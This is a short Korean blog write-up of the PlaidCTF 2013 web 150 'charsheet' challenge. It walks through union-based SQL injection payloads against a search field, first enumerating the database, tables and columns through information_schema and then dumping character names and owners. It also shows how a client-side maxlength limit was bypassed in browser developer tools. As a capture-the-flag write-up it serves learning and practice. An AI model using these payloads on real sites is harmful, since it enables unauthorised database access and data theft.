Computer Security/CTF
                
              [plaid CTF 2013] web 150 write up
                tunz
                 2013. 4. 23. 16:37
              
                          
            이번 plaid CTF 에서 가장 만만했던 문제는 web 150 charseet 문제밖에 없었다.
나머지는 탈탈탈 털렸다. 특히 64비트 elf 문제들.......
그 문제들과는 반대로 web 150문제는 너무 쉬워서 거의 바로 풀었던것 같다.
union sql injection 문제였는데, 취약점은 search를 하는부분에 있었다.
우선 로그인을 하고나서, search 부분에 들어간후, ' (따옴표) 를 삽입해보면 아래와 같은 에러가 뜬다.
| Failed to query database: SELECT c.id, c.cname, DATE_FORMAT(c.lastedited, '%d %M %Y @ %H:%i') as lastedited, c.owner, st.name as tname, ca.name as caname FROM sheet_templates st, characters c LEFT JOIN campaign ca on ca.id = c.campaign WHERE c.public = 'y' AND c.template_id = st.id AND UPPER(c.cname) LIKE UPPER(''%') ORDER BY UPPER(c.cname), UPPER(c.cname) LIMIT 15 | 
붉은 부분에 내가 쓴 글자가 들어가는것을 확인했고, 대충 형식이 어떤 형식인지 파악했으므로, 바로 인젝션에 들어간다.
대충 해보니 필터링은 없는것 같아서 union을 사용했다.
컬럼의 갯수가 6개이니, 6개로 맞춰주고, database의 이름을 빼오기 위해 아래의 쿼리문을 넣어준다.
| ') union (select 'a',database(),'a','a','a','a') # | 
하지만, 글자가 20개 제한이라서 그냥 넣지는 못하는데, 크롬의경우 F12를 눌러 개발자도구를 열고, maxlength=20을 검색해서, maxlength=1000으로 바꾸고 진행했다.
이렇게 database의 이름을 구하고, 차례대로 table들의 이름, column들의 이름을 구한다.
| ') union (select 'a',table_name,'a','a','a','a' from information_schema.tables where table_schema='charsheet' ) # | 
| ') union (select 'a',column_name,'a','a','a','a' from information_schema.columns where table_name='characters' ) # | 
전부 구하고나서는, 최후의 목적은 관리자의 캐릭터를 찾는것이므로, characters 테이블의 cname과 owner을 불러온다.
| ') union (select 'a',cname,owner,'a','a','a' from characters) # | 
그러면 아래의 결과가 나오고, 그 결과가 정답이다.
| Character Name | Last Edited | Owner | Template | Campaign | 
|---|---|---|---|---|
| r3al50ftwar3ftw | admin | a | a | a |